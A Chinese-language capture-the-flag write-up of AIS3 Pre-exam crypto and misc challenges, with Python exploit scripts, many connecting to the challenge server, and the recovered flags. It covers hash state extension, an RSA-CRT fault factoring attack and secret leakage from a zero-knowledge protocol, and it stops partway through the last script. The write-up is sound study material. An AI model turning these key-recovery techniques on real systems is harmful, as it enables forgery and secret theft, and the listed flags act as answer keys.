# AIS3 Pre-exam and MyFirstCTF Writeup ## Ranking - Myfirst第2名 - Pre-exam第13名 這應該算是我比較正式的CTF處女賽,整個比我預期的好太多了 ## Welcome 有人說welcome也要寫Writeup,所以就寫了,就看到flag傳上去。 AIS3{Welc0me_to_AIS3_PreExam_2o24!} ## Misc ### Quantum Nim Heist 這題聽出題者講不用看code,而且那麼多人解,我想應該不太像是用我這種做法。這個題目是給我一個後手必勝的Nim Game,贏了就給我flag。玩的時候會發現它可以儲存遊戲,會給我遊戲資訊和遊戲資訊的hash。以下是hash內容: ```python! import secrets def splitmix64(x: int) -> int: U64_MASK = 0xFFFFFFFFFFFFFFFF x = (x + 0x9E3779B97F4A7C15) & U64_MASK x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK return x ^ (x >> 31) class Hash: def __init__(self): self.secret = secrets.randbits(64) def pad(self, message: bytes) -> bytes: c = -len(message) % 8 return message + b'\x00' * c def digest(self, message: bytes) -> bytes: message = self.pad(message) blocks = [int.from_bytes(message[i:i+8], 'big') for i in range(0, len(message), 8)] def f(a: int, b: int) -> int: for i in range(16): a, b = b, a ^ splitmix64(b) return b state = self.secret for block in blocks: state = f(state, block) return state.to_bytes(8, 'big') def hexdigest(self, message: bytes) -> str: return self.digest(message).hex() ``` 會發現可以lea,因為他雖然secret隨機,但我可以用得到的state送進f做計算。他一個block的大小是8 bytes,所以要把遊戲資訊玩到8個bytes比較好處理,我選擇了11,16,27,然後再後面填一個1變成先手必勝,以下是exploit: ```python! import myhash from Crypto.Util.number import * hash = myhash.Hash() def pad(message: bytes) -> bytes: c = -len(message) % 8 return message + b'\x00' * c def splitmix64(x: int) -> int: U64_MASK = 0xFFFFFFFFFFFFFFFF x = (x + 0x9E3779B97F4A7C15) & U64_MASK x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK return x ^ (x >> 31) def f(a: int, b: int) -> int: for i in range(16): a, b = b, a ^ splitmix64(b) return b payload = b"11,16,27,1" payload = pad(payload) c1 = bytes_to_long(payload[:8]) c2 = bytes_to_long(payload[8:]) #11,16,27:464e639efe040db4 state = bytes_to_long(bytes.fromhex("464e639efe040db4")) print("11,16,27,1:" + long_to_bytes(f(state, c2)).hex()) # 11,16,27,1:d2e759bf6840a6ca ``` 然後剩下就是把遊戲玩贏,一直製造xor為0的狀態就好,最後得到flag:`AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}` ## Crypto ### BabyRSA 這題就是把flag的每個字元進去rsa加密,然後給密文和公鑰。因為字元在0到0xff之間,所以直接暴力窮舉就好。 ```python e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649) encs = [59582983136368434856816799733313446746433796034384724221174424464969737874802116129348607979328098841766335449896610931770063087921739964156335144291643702667891887833963756948394265219864837961748202920096128332905237576243643095664147826020400199347355043162641743846198725931842313977049712473768688780204, 95359547394031742813518330673269556403528254059894407470006786975603938062435320319282644182444182438612748874603359501010449113346386193598111715879103479311697744375488228536365895249959983701008182395138745363343749821348881488616739650767615867269542213617639437927373484681942750228038458670913761461906, 46329325300279098651694178842591774415260876326218182283454895682597312145324055490326488805186682301528705330448500034219715636964856131530973835780285303243952273742119154142469279746360304190118988650200422700136950019141246372634642054318988506247030406078971388938494583721698317950574261574174233878465, 99372516099607712778908802720080113062724120782160998443385643772511391370661101893707293382044546993124605549696368316348952556779713164710839853078160450782104255053788389238478472574549113909833434906535103012424826026640284958298083646000213492094244631381094489147645893989473799375006911204994971262513, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558, 12319813533472769541026063795801870849236715810997656653501875874806446093919930377755747066386074676697058702735112064576219731845584108035461434499628574742399407498867908576045220515065246483998134315307132901329833371485817530138131352593805641664023978795298886913968639954517583992930243922021434381738, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 1665805297521640119669919457094144711238099413231800824465470812913880572669116305626521524153911904267238129531937952423409222225023467794927666422627082314285814656075569814644205638687105792760533211008966815918943917251927254624389871965679206262024216136163262412286874416732008465838711695063592124435, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 38285633551521777138710771085033430239170710707266775875598456653892976969437761922968925746226073683095654278272586779539831402373205526909772633370025848937463033570747721110932401276480992827694564074802181306738438015295515798739406061377284368603543443076476369810597345436481251791260803352288977423573, 90968383857681404242927909477464252602387471219945950453665598772039832078487309149670692874283215437984574695320981806360379096212936326954111131608499584545969103096096842380877613033764006459107764277330135816044808210474597200172673683909558627722941503504083244424751773797618360290613996970960151563724, 95457298055868694391877219138576497445115151186056513418820503159496876268497080831408725541436969299827723238663173668798694515208450035233192338795425824459299174728295661096981248839235055855929604893139239340445385259232905864515397406993189217322907168121716905101208450279521267289056195400878302077398, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 34661612116812273325510815885632987773878634626625747042958636362152583931260969561869719786378247664638641161656878412129162010084766438156247296031040184022246208883138926132649114007757242227131459285251878118564710945280013332131793855359773876332415772442620349609897435915019325055421286197078708187352, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 67602482196856820166971428403758405739455475263382367621161896414339370625380754447863410276767241406699969322350803814348655243066328706656427717483623041308690996376549835317954286006923639192767262817817435759143930376297271756237829141630002480289781731985465743331200468015517012225741723423203374827341, 44262354102194743351911268289256770008339497245528544280709170541530088518398751380655719846628700171065092804544687718896291531970838072744874705570156704628202662829757806782131182294252555844059856971743311355891113953747318316062265029166813195656690004051327523203179399349334322871113218009692321746302, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 17525442355443739006798161136945234538289135293732159010469949341666347513585837371870704355037863634098163883611042121878362686860890223724238562583526550649340086051319234134907577624853632886715848962127706255769976443912657070070366400669740596805962173530384420842637554803041466900119050709458062167550, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 32463563387229396502994321924065961632284043136468238906625180045736135155253223928723914405824284085442712712337348213915399745045346853697650399659292339726614512642835897683094877670342609027803404027945312939777902664125228095034970967750466928999176126534504349068649205422848461193336320361026425455874, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20222920908058605457111970272150612273139460769260447235596498596781683961010128426184024637706564546340327246191020540223566835757304493325371606037680402571948650998523099138137441154209281794538860160477031997660506452095283151142470607354579609545040759974018408429796935802188551530478970289514572978617, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 63634815088527144255090148113948593793648445499224983027630191877159813968754095341812467946868079279626991968747689424489021633678743106301884613005477044402324870044751927862596590687251830485165119422247449722579599610918927243419033509419967393677988976255284611384351411782311379786356079256916831362626, 9304987377904341606117201715658113065608581640101320211543462955469900806281721467187032121463132314663326494170970278379001634044806680348131292368949519512445580695938064509920503814133961673755470696223243390646274004621955993274826096679460577701554059204349111764901921932386091658007427259226167178177, 58828925452729811932976588739787965824652220690551333824296205824127538696058603108169405357158211350616510470513672533759883740745736322687898383422522330915631984810878357007178714597068087752425823728826608887027664209314455243118645386520598961325656254330576959063500755210398248129074822706590225088700, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 47953002091054578020381201294163023730809574731463958773592358719441988187452655748118051277286650853337305718192021972814357369747332979634917684999259838316305009239963225119133204824897098152777119627043881500966537112886938182847527574241215915396651397126350467492479189194162628876529519538265140143596, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 107340541989905757204370662416845552037146078905222935505789033122562501577684655501092154588544305605078885306044047839464564901594898750722560559313996616820973286189602827331851868376927628179028545097753144658073207307785378721899783095713473789007231709234504050418717400729711972350669632384570468096830, 43967923748936484351732805873555964174712775706889811180819474140612599586161884530658035908721232399384729457223641995556425707839305124083600738135036620220298476686325110132022730675370888898063942501477522619906479683016701151321856269078215479158146009655223314957908787521092587379267241203076718674092, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20472445493228441292721090614657967895462252302228260568752427996680563809601852655319833688134475798137834395223726607334321531235376774219216055134601030184130917876549113091114144486261794932716233808194664233936783735663266743029212488020840969559603523111887524998658108503660068448898570323437482810017, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 12708160939460449797746334640370189741594393156198590130563300705594742285274155378452384449752817944962371880018673966875751948953034846634284138305820292201281595210265881917297911731564408181887226462606892964361033320116765426523499831287478314065882300932476595216136350756971622192468975464823677154324, 52745488365658861485519010696623986434656675831322149607647058389953842185045922621964255927212518970223978973817292179059730382537814695353016058702226289640834171560498112170760826276332972100423555174686162215383841925656596984188536350046664199627214379076416024495451320834231863438007383528385204646269, 8855798603366167912634233401398286651752671525801140525178611090639905433230380535711326462952071294452556819384200831430822862220907470038589552641363759764881881084119960616686113091264272665290715332905431138686504873774368450566561688814993821800992967990682116846800657243011069696481920893909247794983, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 3085377115073481737487767519304315808353144937670566256348398664810936964565637157736537945459712875615504238408907602974507381828272609303797146395233485026377776965939508974096385939172942695211339651597248692728550782246178293579153110379844451779466255357619524290412118137515779354431956948078394927940, 48345447683174081443502925378502329908064423944850311779861406407783604557812792515281621715817536127803162311234459315836524837064977025182379655213338205159741266326939713833052921255157742860610743189155260503439836583887313584730345974553768985184119012533854386867355018502198395672167297716386558437643, 2943509185067047938273565758747957807917637430462018374124947856251091022696853505230975399503014099411245162812979057344198094444949853114144790397928000334361276864689352349519363636219566973775714458213611238774130167222835759501223813455853370320854862131109567941072112035263351158877256955712543549605, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558] flag = b"" for enc in encs: for i in range(0xff): if pow(i, e, n) == enc % n: flag += bytes([i]) break print(flag) #AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} ``` ### zkp 這題是離散對數問題,他給了一個完全沒用的驗證函式不用理他,發現p-1(也就是他的階)是光滑的,所以離散對數問題可以分解成小質數的離散對數問題,再用crt把他映射回來,然而sage有提供很簡單的工具可以用不用手刻。 ```python from sage.all import * from Crypto.Util.number import * p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 g = 5 y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341 F = GF(p) flag = discrete_log(F(y), F(g)) print(long_to_bytes(flag)) #AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} ``` ### easyRSA ```python! def verify(pk, message: bytes, signature: bytes): e, n = pk data = bytes_to_long(sha256(message).digest()) return data == pow(bytes_to_long(signature), e, n) bug = lambda : random.randrange(0, 256) def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) ``` 這題可以給他任意密文,然後他會解密傳回來(也就是用私鑰簽名),但是他在用CRT的時候xor了一個數字,那這個時候如果兩個mQ相等,signature相減就會是q的倍數,而我們可以知道兩個mQ之間最多只會差一個byte,所以直接暴力窮舉看看他和n的最大公因數就好。以下是exploit: ```python! from pwn import * from base64 import * from Crypto.Util.number import * from hashlib import sha256 r = remote("chals1.ais3.org", 7001) def sig(message: bytes): r.sendlineafter(b": ", b"2") r.sendlineafter(b": ", b64encode(message)) r.recvuntil(b": ") return b64decode(r.recvline().decode().strip("b\n'")) r.sendlineafter(b": ", b"1") r.recvuntil(b"= ") e, n = tuple(map(int, r.recvline().decode().strip("()\n").split(", "))) message = b64encode(b"Give me the flag!") plain = b"evil_text" sig1 = bytes_to_long(sig(plain)) sig2 = bytes_to_long(sig(plain)) deltas = sig1 - sig2 q = 1 for i in range(-256, 256): if GCD(deltas + i, n) != 1: q = GCD(deltas + i, n) p = n // q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) ans = pow(bytes_to_long(sha256(message).digest()), d, n) ans = b64encode(long_to_bytes(ans)) r.sendlineafter(b": ", b"3") r.sendlineafter(b": ", ans) r.interactive() #AIS3{IJustWantItFasterQAQ} ``` ### zkp-revenge 這題和zkp不同的是他的質數是strong prime,所以離散對數問題是困難的。然後他給了以下這個zkp_protocol。 ```python! def zkp_protocol(p, g, sk): # y = pow(g, sk, p) r = random.randrange(1 << 1000) a = pow(g, r, p) print(f'a = {a}') print('Give me the challenge') try: c = int(input('c = ')) if (p - (1<<600)) >= c >= (1 << 600): w = (c * sk + r) % (p-1) print(f'w = {w}') # you can verify I know the flag with # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p) else: print("Sorry, but your 'c' is too small.") print("My 'x' is already too small, so I cannot let you choose such a small number!") raise ValueError() except: print('Invalid input.') ``` 然後他的flag長度是60,給我100次的嘗試機會。首先,他會限制c的長度,但是這種限制是沒有意義的,因為如果 $sk=2n+1$ ,那麼當 $c=(\frac{p-1}{2}+c')$ 時,$w=((\frac{p-1}{2}+c')\cdot(2n+1)+r)=(\frac{p-1}{2}+c'\cdot sk+r)(mod\ (p-1))$,$(w-\frac{p-1}{2})(mod\ (p-1))=c'\cdot sk+r$,也就是說現在我們可以做到取任何的c了(至於為什麼知道flag是奇數就試了就知道,如果是偶數也是差不多的作法)。那麼 $c\cdot sk+r$ 在mod p-1之前和之後如果要是相同的值的話,那麼要把 $c\cdot sk$ 限定在1<<1024以內,而 $r$ 又有1000bit,所以每次我們只能知道 $c\cdot sk$ 最高的24bits(也就是把flag乘上1<<544,而且有進位問題,保守估計16個bits)。但是我們發現,只要我們把還沒有求出來的位數題到1024位,然後把已知的更高位移項,就能知道低位了,實際式子如下: $(w-k\cdot 2^{480-8R}y)(mod\ (p-1))=k\cdot x+r,\ k=2^{544+8R}$,$R$是知道的bytes數量,$x$是我們還不知道的密文部分,以下是實作: ```python! from pwn import * from Crypto.Util.number import * r = remote("chals1.ais3.org", 7004) r.sendlineafter(b": ", b"1") r.recvuntil(b"= ") p = int(r.recvline().decode().strip()) r.recvuntil(b"= ") g = int(r.recvline().decode().strip()) r.recvuntil(b"= ") y = int(r.recvline().decode().strip()) def high(k: int): c = ((p - 1) // 2 + k) % (p - 1) r.sendlineafter(b": ", b"2") r.sendlineafter(b"c = ", str(c).encode()) r.recvuntil(b"= ") w = int(r.recvline().decode().strip()) return (w - (p - 1) // 2) % (p - 1) flag = b"" # flag += long_to_bytes(high(1<<544))[:2] for i in range(30): k = 1 << (544 + 8 * len(flag)) flag += long_to_bytes((high(k) - k * (1 << (480 - 8 * len(flag))) * bytes_to_long(flag)) % p)[:2] print(flag) #AIS3{Wow!YouAreAMathMaster.} ``` 最後講一個我覺得理論可行但我做不出來的做法,本來是想可不可以用MT19937,畢竟有randrange(),而且如果 $c=\frac{p-1}{2}$的話而且flag是奇數,那$r=(w-\frac{p-1}{2})(mod\ (p-1))$,也就是說我可以一直知道randrange(1<<1000)的值。但是麻煩的是randbelow(1<<1000)會去getrandbits(1001),然後求出來如果大於等於1<<1000的話就重做一次,這樣會讓他變成不是單純的線性方程。我後來有查到BalsnCTF2019有一題unpredictable,也是類似的東西,然後他好像是先去看看怎麼接才合理,dfs剪枝之後再去解方程式,不過他太長了我還沒看懂。 ### md5_encryption ```python! #!/bin/python3 def block_cipher(key, last_block, pt): key.update(last_block) ct = bytes_xor( key.digest(), pt ) return ct def encrypt(sk, message): message = pad(message) key = md5() last_block, cipher_text = sk, b"" for i in range(0, len(message), 16): pt = message[i:i+16] cipher_text += block_cipher(key, last_block, pt) last_block = pt return cipher_text data = input("Give me your data (in base64 encoded):") data = base64.b64decode(data.encode()) test = time.time() data = f"TimeStamp: {test} || User:CTF_Player || data: ".encode() + data + f" || Flag: {flag}".encode() print(base64.b64encode(encrypt(sk, data))) ``` 我稍微把程式碼做了簡化,他就是用md5做xor加密,每一次就是把前一個block塞進md5()裡面,然後和這一個block做xor,最前面有一個未知的block。我可以送data進去,他會把他加入字串後加密給我。md5.update()的作用是把字串接在之前的字串上面在進行hash,然後他會去進行padding,如果%64>=56就要padding到新的一個64bytes(因為有9個bytes要存結尾和長度的資訊),這樣的話麻煩的點就是他一定會做padding,所以沒辦法直接拿到state。所以我的方法是去偽造一個padding,讓他padding完的hash等同於他一直hash到我偽造的padding結束那格。數字上來講的話就是我前64格不理他,後面填一條如果前面是80格的padding(因為初始的有16格),這樣的話到了[112-16:112]那格的hash(沒有做padding就只是單純地拿到state)就會等於[48:64]那格前墜經過padding的hash,也就是他給我的,剩下就是xor和md5的一些實作,md5的code是我去github上隨便找的,以下是exploit: ```python! #https://github.com/Utkarsh87/md5-hashing/tree/master import math # This list maintains the amount by which to rotate the buffers during processing stage rotate_by = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21] # This list maintains the additive constant to be added in each processing step. constants = [int(abs(math.sin(i+1)) * 4294967296) & 0xFFFFFFFF for i in range(64)] # STEP 1: append padding bits s.t. the length is congruent to 448 modulo 512 # which is equivalent to saying 56 modulo 64. # padding before adding the length of the original message is conventionally done as: # pad a one followed by zeros to become congruent to 448 modulo 512(or 56 modulo 64). def pad(msg, length): msg_len_in_bits = (8*len(msg)) & 0xffffffffffffffff msg.append(0x80) while len(msg)%64 != 56: msg.append(0) # STEP 2: append a 64-bit version of the length of the length of the original message # in the unlikely event that the length of the message is greater than 2^64, # only the lower order 64 bits of the length are used. # sys.byteorder -> 'little' if length != 0: msg_len_in_bits = length * 8 msg += msg_len_in_bits.to_bytes(8, byteorder='little') # little endian convention # to_bytes(8...) will return the lower order 64 bits(8 bytes) of the length. return msg # STEP 3: initialise message digest buffer. # MD buffer is 4 words A, B, C and D each of 32-bits. init_MDBuffer = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476] # UTILITY/HELPER FUNCTION: def leftRotate(x, amount): x &= 0xFFFFFFFF return (x << amount | x >> (32-amount)) & 0xFFFFFFFF # STEP 4: process the message in 16-word blocks # Message block stored in buffers is processed in the follg general manner: # A = B + rotate left by some amount<-(A + func(B, C, D) + additive constant + 1 of the 16 32-bit(4 byte) blocks converted to int form) def processMessage(msg): init_temp = init_MDBuffer[:] # create copy of the buffer init constants to preserve them for when message has multiple 512-bit blocks # message length is a multiple of 512bits, but the processing is to be done separately for every 512-bit block. for offset in range(0, len(msg), 64): A, B, C, D = init_temp # have to initialise MD Buffer for every block block = msg[offset : offset+64] # create block to be processed # msg is processed as chunks of 16-words, hence, 16 such 32-bit chunks for i in range(64): # 1 pass through the loop processes some 32 bits out of the 512-bit block. if i < 16: # Round 1 func = lambda b, c, d: (b & c) | (~b & d) # if b is true then ans is c, else d. index_func = lambda i: i elif i >= 16 and i < 32: # Round 2 func = lambda b, c, d: (d & b) | (~d & c) # if d is true then ans is b, else c. index_func = lambda i: (5*i + 1)%16 elif i >= 32 and i < 48: # Round 3 func = lambda b, c, d: b ^ c ^ d # Parity of b, c, d index_func = lambda i: (3*i + 5)%16 elif i >= 48 and i < 64: # Round 4 func = lambda b, c, d: c ^ (b | ~d) index_func = lambda i: (7*i)%16 F = func(B, C, D) # operate on MD Buffers B, C, D G = index_func(i) # select one of the 32-bit words from the 512-bit block of the original message to operate on. to_rotate = A + F + constants[i] + int.from_bytes(block[4*G : 4*G + 4], byteorder='little') newB = (B + leftRotate(to_rotate, rotate_by[i])) & 0xFFFFFFFF A, B, C, D = D, newB, B, C # rotate the contents of the 4 MD buffers by one every pass through the loop # Add the final output of the above stage to initial buffer states for i, val in enumerate([A, B, C, D]): init_temp[i] += val init_temp[i] &= 0xFFFFFFFF # The init_temp list now holds the MD(in the form of the 4 buffers A, B, C, D) of the 512-bit block of the message fed. # The same process is to be performed for every 512-bit block to get the final MD(message digest). # Construct the final message from the final states of the MD Buffers return sum(buffer_content<<(32*i) for i, buffer_content in enumerate(init_temp)) def MD_to_hex(digest): # takes MD from the processing stage, change its endian-ness and return it as 128-bit hex hash raw = digest.to_bytes(16, byteorder='little') return '{:032x}'.format(int.from_bytes(raw, byteorder='big')) def md5(msg, length = 0): msg = bytearray(msg) # msg = bytearray(msg, 'ascii') # create a copy of the original message in form of a sequence of integers [0, 256) msg = pad(msg, length) processed_msg = processMessage(msg) # processed_msg contains the integer value of the hash message_hash = MD_to_hex(processed_msg) return bytes.fromhex(message_hash) def produce(x: bytes): tmp = int.from_bytes(x, "little") ret = [] for i in range(4): ret.append(tmp & 0xFFFFFFFF) tmp >>= 32 return ret def xor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) from pwn import remote import hashlib import time from base64 import * test = time.time() payload = b"aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa' message = b"TimeStamp: 1716766633.2975683 || User:CTF_Player || data: aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa' r = remote("chals1.ais3.org", 7003) r.sendlineafter(b": ", b"1") 